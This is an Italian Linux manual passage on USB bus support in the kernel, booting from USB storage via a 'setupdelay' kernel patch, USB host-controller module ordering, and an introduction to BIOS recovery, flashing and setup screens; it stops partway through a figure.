La gestione di un bus USB in un sistema GNU/Linux parte dal kernel che deve essere stato predisposto per questo (sezione 8.3.20). In particolare, deve essere stato selezionato il tipo di unità di controllo; in pratica si deve attivare la gestione UHCI, OHCI, oppure EHCI. Eventualmente, per sapere a quale tipo appartiene la propria unità di controllo, dovrebbe essere sufficiente leggere il rapporto relativo al bus PCI (infatti, il bus USB si innesta normalmente in un bus PCI).

lspci -v [*Invio*]

```
00:07.2 USB Controller: VIA Technologies, Inc. VT82C586B USB (rev 11)
  (prog-if 00 [UHCI])
        Subsystem: Unknown device 0925:1234
        Flags: bus master, medium devsel, latency 32, IRQ 11
        I/O ports at d400 [size=32]
        Capabilities: [80] Power Management version 2
```

Nell'esempio si vede la sigla UHCI, che chiarisce di che tipo sia il bus USB.

9.7.1 Informazioni

Nel kernel, dopo aver attivato la gestione del bus USB, conviene attivare anche la gestione di un file system virtuale che consente poi di avere maggiori informazioni sul funzionamento del bus e dei suoi componenti. La voce relativa a questa funzionalità dovrebbe essere *Preliminary USB device filesystem*.

Quando questo file system è disponibile, conviene innestarlo nella directory '`/proc/bus/usb/`', per rispettare le convenzioni comuni. Nel file '`/etc/fstab`' si può aggiungere una riga simile a quella seguente:

```
none     /proc/bus/usb   usbdevfs         defaults         0        0
```

In questo modo, si ottiene l'inserimento automatico delle informazioni sul bus USB, a partire dalla directory '`/proc/bus/usb/`'. In particolare, il file '`/proc/bus/usb/devices`' è ricco di informazioni.

```
T:  Bus=01 Lev=00 Prnt=00 Port=00 Cnt=00 Dev#=  1 Spd=12  MxCh= 2
B:  Alloc= 11/900 us ( 1%), #Int=  1, #Iso=  0
D:  Ver= 1.00 Cls=09(hub  ) Sub=00 Prot=00 MxPS= 8 #Cfgs=  1
P:  Vendor=0000 ProdID=0000 Rev= 0.00
S:  Product=USB UHCI Root Hub
S:  SerialNumber=d400
C:* #Ifs= 1 Cfg#= 1 Atr=40 MxPwr=  0mA
I:  If#= 0 Alt= 0 #EPs= 1 Cls=09(hub  ) Sub=00 Prot=00 Driver=hub
E:  Ad=81(I) Atr=03(Int.) MxPS=   8 Ivl=255ms
T:  Bus=01 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#=  2 Spd=12  MxCh= 0
D:  Ver= 1.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs=  1
P:  Vendor=03f0 ProdID=0105 Rev= 1.00
C:* #Ifs= 1 Cfg#= 1 Atr=40 MxPwr=100mA
I:  If#= 0 Alt= 0 #EPs= 3 Cls=00(>ifc ) Sub=00 Prot=00 Driver=usbscanner
E:  Ad=01(O) Atr=02(Bulk) MxPS=  64 Ivl=  0ms
E:  Ad=82(I) Atr=02(Bulk) MxPS=  64 Ivl=  0ms
E:  Ad=83(I) Atr=03(Int.) MxPS=   1 Ivl=  1ms
T:  Bus=01 Lev=01 Prnt=01 Port=01 Cnt=02 Dev#=  3 Spd=12  MxCh= 0
D:  Ver= 1.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS= 8 #Cfgs=  1
P:  Vendor=07c4 ProdID=0103 Rev= 9.04
S:  Manufacturer=OnSpec Electronic, Inc.
S:  Product=USB Disk
S:  SerialNumber=02A86999A8
C:* #Ifs= 1 Cfg#= 1 Atr=40 MxPwr=  0mA
I:  If#= 0 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage
```

```
E:  Ad=01(O) Atr=02(Bulk) MxPS=  64 Ivl=  0ms
E:  Ad=82(I) Atr=02(Bulk) MxPS=  64 Ivl=  0ms
```

L'esempio mostra le informazioni ottenute dalla presenza di un'unità di controllo, uno scanner e un disco esterno. Il punto di riferimento che indica l'inizio di un dispositivo è dato dalle righe che iniziano con la lettera «T»:

```
T:  Bus=01 Lev=00 Prnt=00 Port=00 Cnt=00 Dev#=  1 Spd=12  MxCh= 2
...
T:  Bus=01 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#=  2 Spd=12  MxCh= 0
...
T:  Bus=01 Lev=01 Prnt=01 Port=01 Cnt=02 Dev#=  3 Spd=12  MxCh= 0
```

Per conoscere il significato delle informazioni che appaiono in questo file, conviene consultare *The Linux USB sub-system*, di Brad Hards, citato anche alla fine del capitolo.

9.7.2 Avvio di un sistema GNU/Linux da un'unità USB, con kernel monolitico

L'avvio di un sistema GNU/Linux che risiede fisicamente in un'unità di memoria USB esterna, richiede la preparazione di alcuni accorgimenti. Per cominciare, il kernel deve essere stato predisposto per la gestione del bus SCSI, del bus USB e in particolare per la gestione della memoria di massa su un bus USB (sezione 8.3.20). Ovviamente, se le funzionalità che consentono di accedere all'unità USB sono spostate in moduli esterni al kernel, occorre predisporre un disco RAM iniziale per il caricamento di questi, ma qui si preferisce fare riferimento a un kernel che non abbia bisogno di tale accorgimento.

Durante l'avvio del kernel, è molto probabile che il rilevamento dell'unità di memoria USB sia in ritardo rispetto al momento in cui viene fatto il tentativo di innestare il file system principale, cosa che si traduce normalmente in un blocco dovuto a un *kernel panic*. Per risolvere il problema in modo «standard», sembra non esserci altra strada che predisporre un disco RAM iniziale (sezione 8.9), ma per chi è disposto a ricompilarsi il kernel dovrebbe essere più semplice introdurre nel codice del kernel stesso qualche istruzione per ritardare il procedimento, così da far trovare il disco USB quando è il momento.

Si può intervenire nel file '***sorgenti_linux***`/init/main.c`' per introdurre una pausa che viene fissata attraverso un parametro di avvio, creato appositamente: '**`setupdelay`**'. Questo tipo di modifica deriva da un lavoro di Willi Tarreay, pubblicato attraverso un messaggio del 2 maggio 2004 nella lista *Linux-Kernel*, che può essere letto presso ⟨*http://lkml.indiana.edu/hypermail/linux/kernel/0405.0/0252.html*⟩.

La modifica che viene proposta richiede di aggiungere delle istruzioni al contenuto di '***sorgenti_linux***`/init/main.c`'. Lo schema seguente dovrebbe permettere di capire dove si deve intervenire; le righe aggiunte sono evidenziate con un carattere nero.

Listato 9.71. File '***sorgenti_linux***`/init/main.c`'; modifiche utili in un kernel 2.6.

```
…
…
static char * argv_init[MAX_INIT_ARGS+2] = { "init", NULL, };
char * envp_init[MAX_INIT_ENVS+2] = { "HOME=/", "TERM=linux", NULL, };
static const char *panic_later, *panic_param;
static int setupdelay; /* delay some seconds to let
                          devices set up before root mount */

__setup("profile=", profile_setup);

static int __init setupdelay_setup(char *str)
{
    int par;
    if (get_option(&str,&par)) {
        setupdelay = par;
    }
    return 1;
}

__setup("setupdelay=", setupdelay_setup);

…
…
…
static int wait_setup_delay (void)
{
    int time_left;
    if (setupdelay) {
        printk("Waiting %d s to let devices set up properly ", setupdelay);
        time_left = setupdelay;
        while (time_left) {
            set_current_state (TASK_INTERRUPTIBLE);
            schedule_timeout (HZ);
            time_left--;
            printk(". ");
        }
        printk("\n");
    }
    return 1;
}

static int init(void * unused)
{
        …
        …
        /*
         * Do this before initcalls, because some drivers want to access
         * firmware files.
         */
```

```
        populate_rootfs();

        do_basic_setup();

        wait_setup_delay ();

        /*
         * check if there is an early userspace init.  If yes, let it do all
         * the work
         */
        if (sys_access((const char __user *) "/init", 0) == 0)
                execute_command = "/init";
        else
                prepare_namespace();

    ...
    ...
```

Naturalmente, per fare in modo che ci sia effettivamente un ritardo di ***n*** secondi, occorre usare l'opzione di avvio '**`setupdelay=`*n***'.

Quanto mostrato dovrebbe risolvere il problema dell'avvio del sistema, ma rimane il fatto che alcune unità di memorizzazione connesse sul bus USB rispondono in ritardo ai comandi che gli vengono impartiti. In pratica, ciò significa che quando si esegue il distacco di un file system contenuto in un'unità USB, conviene aspettare un po' prima di spegnerla o comunque di staccarla fisicamente, per non rischiare di perdere i dati. Se il file system principale è innestato da un'unità USB, in presenza di un kernel Linux molto vecchio, potrebbe succedere che lo spegnimento che conclude la procedura di arresto del sistema avvenga prima che l'aggiornamento del file system stesso possa essere stato completato effettivamente. Per ovviare a questo grave inconveniente, si potrebbe disabilitare la funzionalità attraverso un parametro di avvio del kernel:

```
apm=off
```

In alternativa, in modo più specifico:

```
apm=no-power-off
```

9.7.3 Sequenza di caricamento dei moduli del kernel

Quando la gestione del bus USB è demandata a dei moduli del kernel Linux, può crearsi una situazione, apparentemente innocua, che invece è bene tenere in considerazione.

Il problema da tenere in evidenza riguarda i moduli di gestione del tipo di unità di controllo USB, la quale può essere di tipo OHCI, UHCI o EHCI. I moduli in questione sono '`ohci-hcd.ko`', '`uhci-hcd.ko`' ed '`ehci-hcd.ko`', ovvero '**`ohci_hcd`**', '**`uhci_hcd`**' ed '**`ehci_hcd`**'.

Può succedere che un elaboratore contenga un'unità di controllo USB che può essere pilotata con due tipi alternativi di moduli; per esempio può essere compatibile con il tipo UHCI e anche EHCI, pertanto potrebbero essere usati i moduli '**uhci_hcd**' ed '**ehci_hcd**'. Se i moduli vengono caricati in modo automatico, c'è da attendersi che la scelta del modulo più appropriato avvenga correttamente; se invece si deve fare questo in modo manuale, o comunque con propri script, il caricamento del modulo del kernel «migliore» potrebbe semplicemente prendere il sopravvento su un altro modulo compatibile e già caricato in una fase precedente.

A titolo di esempio, si suppone che ci sia la possibilità di caricare sia il modulo '**uhci_hcd**', sia '**ehci_hcd**', come già ipotizzato, ma in questo caso si aggiunge l'accesso a un'unità di memorizzazione esterna (solida o a disco). Si comincia caricando il modulo '**uhci_hcd**'; quindi si innesta il file system contenuto nell'unità di memorizzazione:

modprobe uhci_hcd [*Invio*]

lsusb [*Invio*]

```
Bus 004 Device 002: ID 1307:0163 Transcend Information, Inc.
Bus 004 Device 001: ID 0000:0000
Bus 003 Device 001: ID 0000:0000
Bus 002 Device 001: ID 0000:0000
Bus 001 Device 001: ID 0000:0000
```

mount -t auto /dev/sda1 /mnt/sda1 [*Invio*]

A questo punto si carica anche il modulo '**ehci_hcd**' e succede che poi, l'innesto ipotizzato nella directory '/mnt/sda1/', non è più efficace:

modprobe ehci_hcd [*Invio*]

lsusb [*Invio*]

```
Bus 005 Device 002: ID 1307:0163 Transcend Information, Inc.
Bus 005 Device 001: ID 0000:0000
Bus 004 Device 001: ID 0000:0000
Bus 003 Device 001: ID 0000:0000
Bus 002 Device 001: ID 0000:0000
Bus 001 Device 001: ID 0000:0000
```

Come si vede, l'unità «1307:0163» è passata dal bus «004» al bus «005». Se si tenta di leggere il contenuto della directory '/mnt/sda1/', dove dovrebbe trovarsi l'innesto dell'unità di memorizzazione esterna, questa risulta semplicemente vuota (ovvero inaccessibile).

rmmod ehci_hcd [*Invio*]

umount /mnt/sda1 [*Invio*]

rmmod uhci_hcd [*Invio*]

Per risolvere il problema, volendo caricare entrambi i moduli '**uhci_hcd**' ed '**ehci_hcd**', dovrebbe bastare procedere in senso opposto:

```
# modprobe ehci_hcd [Invio]
```

```
# lsusb [Invio]
```

```
Bus 001 Device 002: ID 1307:0163 Transcend Information, Inc.
Bus 001 Device 001: ID 0000:0000
```

```
# mount -t auto /dev/sda1 /mnt/sda1 [Invio]
```

```
# modprobe uhci_hcd [Invio]
```

```
# lsusb [Invio]
```

```
Bus 005 Device 001: ID 0000:0000
Bus 004 Device 001: ID 0000:0000
Bus 003 Device 001: ID 0000:0000
Bus 002 Device 001: ID 0000:0000
Bus 001 Device 002: ID 1307:0163 Transcend Information, Inc.
Bus 001 Device 001: ID 0000:0000
```

Come si vede, questa volta l'unità «1307:0163» non ha cambiato bus e l'unità innestata precedentemente continua a essere raggiungibile regolarmente.

Come si può intuire, una situazione come quella descritta è poco probabile che si presenti in condizioni «normali», perché è logico attendersi che tutti i moduli che si vogliono caricare vengano utilizzati prima di innestare delle unità esterne di memorizzazione. La situazione più verosimile per un problema di questo tipo riguarda l'avvio da unità USB, utilizzando un kernel modulare. Infatti, in questo caso occorre utilizzare un disco RAM iniziale, contenente un sistema GNU/Linux provvisorio. Durante il funzionamento di questo sistema provvisorio potrebbe essere caricato un modulo come '**uhci_hcd**', con il quale andare poi a innestare il file system principale presso l'unità di memorizzazione USB. Successivamente, con l'abbandono del sistema provvisorio per passare a quello contenuto nell'unità esterna, ci potrebbe essere una fase di autorilevamento dell'hardware (che potrebbe essere prodotta anche dall'attivazione di uDev), con la quale viene caricato automaticamente il modulo '**ehci_hcd**': da quel punto in poi, verrebbe meno l'accesso al file system principale, bloccando la procedura di avvio.

9.8 Introduzione al BIOS

Il firmware degli elaboratori x86 e derivati è noto con il nome BIOS (*Basic input output system*). Originariamente il suo scopo era soltanto quello di fornire delle funzioni essenziali, in modo da consentire a «sistemi operativi» da microelaboratore, come il Dos, di avviarsi e di funzionare.

Nel tempo, il BIOS si è evoluto e normalmente costituisce un piccolo sistema di gestione dell'hardware, indipendente da altro software. In particolare, diventa lo strumento primario di configurazione delle varie componenti fisiche che sono incorporate nella scheda madre (conservando la configurazione in una piccola memoria C/MOS, sostenuta da una batteria).

9.8.1 Collocazione fisica del BIOS

Rispetto alla terminologia tradizionale, il BIOS (compresa la porzione della memoria C/MOS), costituisce la memoria «ROM» dell'elaboratore. In questo senso (a parte la porzione «C/MOS»), il BIOS è contenuto normalmente all'interno di integrati che hanno una funzione del genere (memorie ROM vere e proprie, oppure memorie cancellabili e riprogrammabili in vario modo).

Figura 9.76. Integrato riprogrammabile degli anni 1980: sotto l'etichetta si intravede la finestrella per la cancellazione, che richiede l'esposizione a raggi ultravioletti. L'etichetta avrebbe anche lo scopo di proteggere la memoria da una cancellazione accidentale.

Figura 9.77. Memoria «flash» degli anni 1990, riprogrammabile senza bisogno di estrarre l'integrato dalla scheda madre.

Figura 9.78. Memoria «flash» compatta, usata alla fine degli anni 1990 e all'inizio degli anni 2000.

In base alla tradizione, come si vede nelle figure, l'integrato che contiene il BIOS dovrebbe essere estraibile, per facilitarne la sostituzione o la riprogrammazione. Tuttavia, le schede madri tendono a disporre di un BIOS contenuto in un integrato saldato e pertanto non rimpiazzabile.

9.8.2 Blocco di avvio

Quando il BIOS risulta danneggiato per qualche ragione, può darsi che il codice del blocco di avvio (*bootblock*) contenuto del BIOS, sia ancora integro. In tal caso, dovrebbe essere possibile avviare un sistema Dos di emergenza dall'unità a dischetti, anche se lo schermo e la tastiera possono risultare inutilizzabili. In questi casi, ammesso che se ne possa disporre, serve un dischetto contenente il sistema operativo minimo e gli strumenti indispensabili al ripristino del BIOS.

In un'altra sezione di questo capitolo, viene descritto UniFlash per salvare e ripristinare il BIOS. A titolo di esempio, volendo usare questo programma allo scopo di ripristinare un BIOS che è in grado di eseguire solo il codice del blocco di avvio, occorre inserire nel dischetto il file '**`UNIFLASH.EXE`**', la copia del BIOS da ripristinare e un file '`AUTOEXEC.BAT`' realizzato in modo da eseguire automaticamente '**`UNIFLASH.EXE`**':

```
@UNIFLASH -E file_bios_da_ripristinare
```

Nel caso particolare di un BIOS AMI, il blocco di avvio dovrebbe contenere delle istruzioni speciali, attraverso le quali viene caricato automaticamente dal dischetto il file '`AMIBOOT.ROM`' (senza che il dischetto debba contenere un sistema Dos o altro), oppure un altro nome specifico nel caso di schede madri speciali. Eventualmente, può essere necessario premere la combinazione di tasti [*Ctrl+Inizio*] ([*Ctrl+Home*]) per forzare il caricamento del file all'avvio (nel caso di una scheda madre ASUS, si può trattare della combinazione [*Alt F2*]).

Quando si realizza un dischetto Dos con gli strumenti necessari per il ripristino del BIOS, **è necessario che non venga avviato nulla di superfluo**. Pertanto, è meglio sopprimere il file 'CONFIG.SYS' e mettere nel file 'AUTOEXEC.BAT' esclusivamente il comando o i comandi di ripristino. In particolare, non vanno avviati programmi come '**HIMEM.SYS**' o simili.

Se il BIOS è stato danneggiato, ma il blocco di avvio è integro e non si vede nulla sullo schermo, si può provare a installare una scheda VGA nel bus ISA, oppure, in mancanza di un bus ISA si può tentare con una scheda per il bus AGP.

9.8.3 Modifica del BIOS

A seconda del tipo di tecnologia adottato, si possono utilizzare delle tecniche differenti per la modifica del contenuto del BIOS. Nei primi elaboratori era necessario estrarre l'integrato contenente il BIOS, cancellarlo (seguendo la procedura prevista per quel tipo di componente) e riscriverlo, attraverso un'apparecchiatura appropriata. Successivamente si è introdotto l'uso di memorie «flash» che consentono la riscrittura senza dover estrarre l'integrato dalla scheda madre.

La facilità attuale con cui è possibile riprogrammare la memoria del BIOS, consente di aggiornarlo, di solito per attivare funzionalità nuove, non previste originariamente per quella tale scheda madre.

Teoricamente, l'aggiornamento del BIOS dovrebbe avvenire con software realizzato appositamente per il tipo di scheda madre di cui si dispone, dal momento che non esiste una procedura unica standardizzata (si veda comunque il programma UniFlash). Tuttavia, questo software specifico è disponibile normalmente dai siti delle case produttrici, assieme alle varie versioni del BIOS esistenti per ogni scheda.

Il procedimento di riscrittura del BIOS ha un solo inconveniente: **se l'operazione fallisce** (di solito per un'interruzione dell'energia elettrica) **o viene eseguita con un file non adatto**, si rischia di non poter più avviare l'elaboratore; in pratica, **si rende inutilizzabile la scheda madre**.

9.8.4 BIOS di «marca»

Le case produttrici di elaboratori x86 completi, più conosciute, hanno utilizzato principalmente un BIOS prodotto internamente, più o meno derivato da quello originale di IBM. Al contrario, i produttori di schede madri hanno preferito affidarsi ad altre aziende specializzate, contribuendo così allo sviluppo di BIOS più raffinati e generalizzati.

Si ricordano solitamente tre nomi importanti di aziende produttrici di BIOS: AMI Phoenix e Award. Tuttavia, nel tempo le cose sono cambiate; per esempio Award è stata acquisita da Phoenix, ma anche senza avvenimenti così significativi, si può avvertire che nel tempo la configurazione di un certo tipo di BIOS cambia radicalmente.

Ogni produttore di BIOS mette a disposizione i propri strumenti per la modifica e la sostituzione del codice relativo, quando la memoria usata consente la riscrittura senza l'estrazione dalla scheda madre. Tuttavia, l'assenza di uno standard uniforme, richiede sempre una ricerca per l'acquisizione del software necessario alla versione del BIOS di cui si dispone, compatibile con la propria scheda madre.

Anche se il BIOS è realizzato in modo abbastanza generalizzato, ogni modello di scheda madre richiede delle variazioni specifiche che dipendono in pratica dai componenti installati effettivamente. Di conseguenza, l'aggiornamento del BIOS richiede di disporre di un file realizzato appositamente per la propria scheda madre, anche se gli strumenti di aggiornamento, eventualmente, possono essere sempre gli stessi.

Eccezionalmente, i BIOS modulari consentono la sostituzione di un certo modulo, senza interferire con il resto, ma si tratta di un'operazione delicata che richiede maggiore esperienza.

Figura 9.80. Programma di configurazione di un BIOS Award con menù semplice: menù principale.[2]

```
                    CMOS SETUP UTILITY
                  AWARD SOFTWARE, INC.

   STANDARD CMOS SETUP              INTEGRATED PERIPHERALS
   BIOS FEATURES SETUP              SUPERVISOR PASSWORD
   CHIPSET FEATURES SETUP           USER PASSWORD
   POWER MANAGEMENT SETUP           IDE HDD AUTO DETECTION
   PNP/PCI CONFIGURATION            HDD LOW LEVEL FORMAT
   LOAD BIOS DEFAULTS               SAVE & EXIT SETUP
   LOAD SETUP DEFAULTS              EXIT WITHOUT SAVING

 Esc : Quit                        ↑ ↓ → ←    : Select Item
 F10 : Save & Exit Setup           (Shift)F2 : Change Color
```

Figura 9.81. Programma di configurazione di un BIOS Phoenix-Award con menù semplice: menù principale.[2]

```
             Phoenix - AwardBIOS CMOS Setup Utility

 ▶ Standard CMOS Features          ▶ Frequency/Voltage Control
 ▶ Advanced BIOS Features            Load High Performance Defaults
 ▶ Advanced Chipset Features         Load BIOS Setup Defaults
 ▶ Integrated Peripherals            Set Supervisor Password
 ▶ Power Management Setup            Set User Password
 ▶ PnP/PCI Configurations            Save & Exit Setup
 ▶ PC Health Status                  Exit Without Saving

 Esc : Quit       F9 : Menu in BIOS     ↑ ↓ → ←    : Select Item
 F10 : Save & Exit Setup

                  Time, Date, Hard Disk Type...
```

Figura 9.82. Programma di configurazione di un BIOS Phoenix-Award con menù semplice: menù standard.[2]

```
            Phoenix - AwardBIOS CMOS Setup Utility
                    Standard CMOS Features

  Date (mm:dd:yy)             Mon, May  9 2005    |        Item Help
  Time (hh:mm:ss)             17 : 41 : 37        |
                                                  | Menu Level   ▶
▶ IDE Primary Master           None               |
▶ IDE Primary Slave            None               | Change the day, month,
▶ IDE Secondary Master                            | year and century
▶ IDE Secondary Slave                             |
                                                  |
  Drive A                     1.44M, 3.5 in.      |
  Drive B                     None                |
  Floppy 3 Mode Support       Disabled            |
                                                  |
  Video                       EGA/VGA             |
  Halt On                     All Errors          |
                                                  |
  Base Memory                     640K            |
  Extended Memory               64512K            |
  Total Memory                  65536K            |

 ↑↓→←:Move  Enter:Select  +/-/PU/PD:Value  F10:Save  ESC:Exit  F1:General Help
   F5: Previous Values    F6: Fail-Safe Defaults    F7: Optimized Defaults
```

Figura 9.83. Programma di configurazione di un BIOS Phoenix-Award con menù semplice: menù avanzato.[2]

```
            Phoenix - AwardBIOS CMOS Setup Utility
                    Advanced BIOS Features

  Virus Warning               Disabled            |        Item Help
  CPU Internal Cache          Enabled             |
  External Cache              Enabled             | Menu Level   ▶
  CPU L2 Cache ECC Checking   Enabled             |
  Swap Floppy Drive           Disabled            | Allows you to choose
  Boot Up Floppy Seek         Enabled             | the VIRUS warning
  Boot Up NumLock Status      On                  | feature for IDE Hard
  Gate A20 Option             Fast                | Disk boot sector
  Typematic Rate Setting      Disabled            | protection. If this
x Typematic Rate (Chars/Sec)  6                   | function is enabled
x Typematic Delay (Msec)      250                 | and someone attempt to
  Security Option             Setup               | write data into this
  OS Select For DRAM > 64MB   Non-OS2             | area ,  BIOS will show
  HDD S.M.A.R.T. Capability   Disabled            | a warning message on
  Video BIOS Shadow           Enabled             | screen and alarm beep
  EPA LOGO SELECT             LOGO-0              |
  Small Logo(EPA) Show        Enabled             |

 ↑↓→←:Move  Enter:Select  +/-/PU/PD:Value  F10:Save  ESC:Exit  F1:General Help
   F5: Previous Values    F6: Fail-Safe Defaults    F7: Optimized Defaults
```

Figura 9.84. Programma di configurazione di un BIOS Phoenix-Award con menù semplice: menù *chipset*.[2]

```
                 Phoenix - AwardBIOS CMOS Setup Utility
                       Advanced Chipset Features

 ▶ DRAM Clock/Drive Control   Press Enter        Item Help
 ▶ AGP & P2P Bridge Control   Press Enter
 ▶ CPU & PCI Bus Control      Press Enter     Menu Level   ▶
   Memory Hole                Disabled
   System BIOS Cacheable      Disabled
   Video RAM Cacheable        Disabled
   Memory Parity/ECC Check    Disabled

 ↑↓→←:Move  Enter:Select  +/-/PU/PD:Value  F10:Save  ESC:Exit  F1:General Help
    F5: Previous Values   F6: Fail-Safe Defaults    F7: Optimized Defaults
```

Figura 9.85. Programma di configurazione di un BIOS Phoenix-Award con menù semplice: menù dispositivi integrati.[2]

```
                 Phoenix - AwardBIOS CMOS Setup Utility
                         Integrated Peripherals

 ▶ VIA OnChip IDE Device      Press Enter        Item Help
 ▶ VIA OnChip PCI Device      Press Enter
 ▶ SuperIO Device             Press Enter     Menu Level   ▶
   Init Display First         AGP
   OnChip USB Controller      All Enabled
   USB Keyboard Support       Disabled
   IDE HDD Block Mode         Enabled

 ↑↓→←:Move  Enter:Select  +/-/PU/PD:Value  F10:Save  ESC:Exit  F1:General Help
    F5: Previous Values   F6: Fail-Safe Defaults    F7: Optimized Defaults
```

Figura 9.86. Programma di configurazione di un BIOS Phoenix-Award con menù semplice: menù alimentazione.[2]

```
              Phoenix - AwardBIOS CMOS Setup Utility
                      Power Management Setup

   ACPI Suspend Type            S1(POS)              Item Help
   Power Management Option      User Define
   HDD Power Down               Disable          Menu Level   ▶
   Suspend Mode                 Disable
   Video Off Option             Suspend -> Off
   Video Off Method             V/H SYNC+Blank
   MODEM Use IRQ                3
   Soft-Off by PWRBTN           Instant-Off
   Run VGABIOS if S3 Resume     Auto
   State After Power Failure    Off
 ▶ IRQ/Event Activity Detect    Press Enter

 ↑↓→←:Move  Enter:Select  +/-/PU/PD:Value  F10:Save  ESC:Exit  F1:General Help
   F5: Previous Values    F6: Fail-Safe Defaults    F7: Optimized Defaults
```

Figura 9.87. Programma di configurazione di un BIOS Phoenix-Award con menù semplice: menù Plug & Play.[2]

```
              Phoenix - AwardBIOS CMOS Setup Utility
                       PnP/PCI Configurations

   PNP OS Installed             No                   Item Help
   Reset Configuration Data     Disabled
                                                 Menu Level   ▶
   Resources Controlled By      Auto(ESCD)
 x IRQ Resources                Press Enter      Select Yes if you are
                                                 using a Plug and Play
   PCI/VGA Palette Snoop        Disabled         capable operating
   Assign IRQ For VGA           Enabled          system Select No if
   Assign IRQ For USB           Enabled          you need the BIOS to
                                                 configure non-boot
                                                 devices

 ↑↓→←:Move  Enter:Select  +/-/PU/PD:Value  F10:Save  ESC:Exit  F1:General Help
   F5: Previous Values    F6: Fail-Safe Defaults    F7: Optimized Defaults
```

Figura 9.88. Programma di configurazione di un BIOS Phoenix-Award con menù semplice: menù controllo della temperatura.[2]

```
Phoenix - AwardBIOS CMOS Setup Utility
PC Health Status

CPU Warning Temperature      Disabled        Item Help
Current SYS Temperature
Current CPU Temperature                      Menu Level  ▶
Current CPUFAN1 Speed
Current CHAFAN1 Speed
Vcore
3.3 V
+ 5 V
+12 V
-12 V
- 5 V
VBAT(V)
5VSB(V)
Shutdown Temperature         Disabled

↑↓→←:Move  Enter:Select  +/-/PU/PD:Value  F10:Save  ESC:Exit  F1:General Help
F5: Previous Values    F6: Fail-Safe Defaults    F7: Optimized Defaults
```

Figura 9.89. Programma di configurazione di un BIOS Phoenix-Award con menù a tendina: menù principale.[2]

```
Phoenix - AwardBIOS CMOS Setup Utility
Main  Advanced  Security  Boot  Exit

Date (mm:dd:yy)              Sat, May  7 2005     Item Help
Time (hh:mm:ss)              15 :  4 : 19
                                                  Menu Level  ▶
Legacy Diskette A            [1.44M, 3.5 in.]
Legacy Diskette B            [None]               Change the day, month,
                                                  year and century
▶ IDE Channel 0 Master
▶ IDE Channel 0 Slave
▶ IDE Channel 1 Master       [ None]
▶ IDE Channel 1 Slave
Halt On                      [All , But Keyboard]

Base Memory                        640K
Extended Memory                  65535K
Total Memory                      1024K

↑↓→←:Move  Enter:Select  +/-/PU/PD:Value  F10:Save  ESC:Exit  F1:General Help
F5:Previous Values    F6:Fail-Safe Defaults    F7:Optimized Defaults
```

Figura 9.90. Programma di configurazione di un BIOS Phoenix-Award con menù a tendina: menù avanzato.[2]

```
Phoenix - AwardBIOS CMOS Setup Utility
Main  Advanced  Security  Boot  Exit

▶ BIOS Features                                   Item Help
▶ Advanced Chipset Control
▶ I/O Device Configuration                    Menu Level   ▶
▶ PnP/PCI Configurations
▶ Console Redirection
▶ Hardware Monitor
▶ Processor & Clock Option
▶ DMI Event Log

↑↓→←:Move  Enter:Select  +/-/PU/PD:Value  F10:Save  ESC:Exit  F1:General Help
   F5:Previous Values    F6:Fail-Safe Defaults    F7:Optimized Defaults
```

Figura 9.91. Programma di configurazione di un BIOS Phoenix-Award con menù a tendina: menù sicurezza.[2]

```
Phoenix - AwardBIOS CMOS Setup Utility
Main  Advanced  Security  Boot  Exit

  Set Supervisor Password                         Item Help
  Set User Password
  Password Check            [Setup]           Menu Level   ▶

                                              Change/Set/Disable
                                              Password

↑↓→←:Move  Enter:Select  +/-/PU/PD:Value  F10:Save  ESC:Exit  F1:General Help
   F5:Previous Values    F6:Fail-Safe Defaults    F7:Optimized Defaults
```

Figura 9.92. Programma di configurazione di un BIOS Phoenix-Award con menù a tendina: menù avvio.[2]

```
               Phoenix - AwardBIOS CMOS Setup Utility
   Main  Advanced  Security  Boot  Exit

 ▶ Removable Device Priority                    Item Help
 ▶ Hard Disk Boot Priority
 ▶ CD-ROM Boot Priority                   Menu Level   ▶
   First Boot Device       [Removable]
   Second Boot Device      [CDROM]        Select Removable Boot
   Third Boot Device       [Hard Disk]    Device Priority
   Boot Other Device       [Enabled]

 ↑↓→←:Move  Enter:Select  +/-/PU/PD:Value  F10:Save  ESC:Exit  F1:General Help
     F5:Previous Values    F6:Fail-Safe Defaults    F7:Optimized Defaults
```

Figura 9.93. Programma di configurazione di un BIOS Phoenix-Award con menù a tendina: menù uscita.[2]

```
               Phoenix - AwardBIOS CMOS Setup Utility
   Main  Advanced  Security  Boot  Exit

   Save & Exit Setup                            Item Help
   Exit Without Saving
   Load Fail-Safe Defaults                Menu Level   ▶
   Load Optimized Defaults
   Discard Changes                        Save Data to CMOS

 ↑↓→←:Move  Enter:Select  +/-/PU/PD:Value  F10:Save  ESC:Exit  F1:General Help
     F5:Previous Values    F6:Fail-Safe Defaults    F7:Optimized Defaults
```

Figura 9.94. Programma di configurazione di un BIOS AMI con menù a tendina: menù principale.[2]

```
                         BIOS SETUP UTILITY
  Main    Advanced    Security    Power    Boot    Exit

 System Overview                                 Use [ENTER], [TAB]
                                                 or [SHIFT-TAB] to
 AMIBIOS                                         select a field.
 Version    : N/A
 Build Date: N/A                                 Use [+] or [-] to
 ID         : N/A                                configure system Time.

 Processor
 Type       : N/A
 Speed      : N/A
 Count      : N/A

 System Memory                                   ↔     Select Screen
 Size       : N/A                                ↑↓    Select Item
                                                 +-    Change Field
 System Time                [00:00:00]           Tab   Select Field
 System Date                [Sun 12/19/2099]     F1    General Help
                                                 F10   Save and Exit
                                                 ESC   Exit

         vMM.mm (C)Copyright 1985-2002, American Megatrends, Inc.
```

Figura 9.95. Programma di configurazione di un BIOS AMI con menù a tendina: menù avanzato.[2]

```
                         BIOS SETUP UTILITY
  Main    Advanced    Security    Power    Boot    Exit

 Advanced Settings                               Configure the IDE
                                                 device(s).
 WARNING: Setting wrong values in below sections
          may cause system to malfunction.

 ▸ IDE Configuration

 TV Display Type            [NTSC]
 Parallel Port Mode         [N/A]

 Internal Pointing Device   [Enabled]
 Internal Numeric Pad Lock  [Enabled]
                                                 ↔     Select Screen
                                                 ↑↓    Select Item
                                                 Enter Go to Sub Screen
                                                 F1    General Help
                                                 F10   Save and Exit
                                                 ESC   Exit

         vMM.mm (C)Copyright 1985-2002, American Megatrends, Inc.
```

Figura 9.96. Programma di configurazione di un BIOS AMI con menù a tendina: menù sicurezza.[2]

```
                         BIOS SETUP UTILITY
  Main    Advanced    Security    Power    Boot    Exit

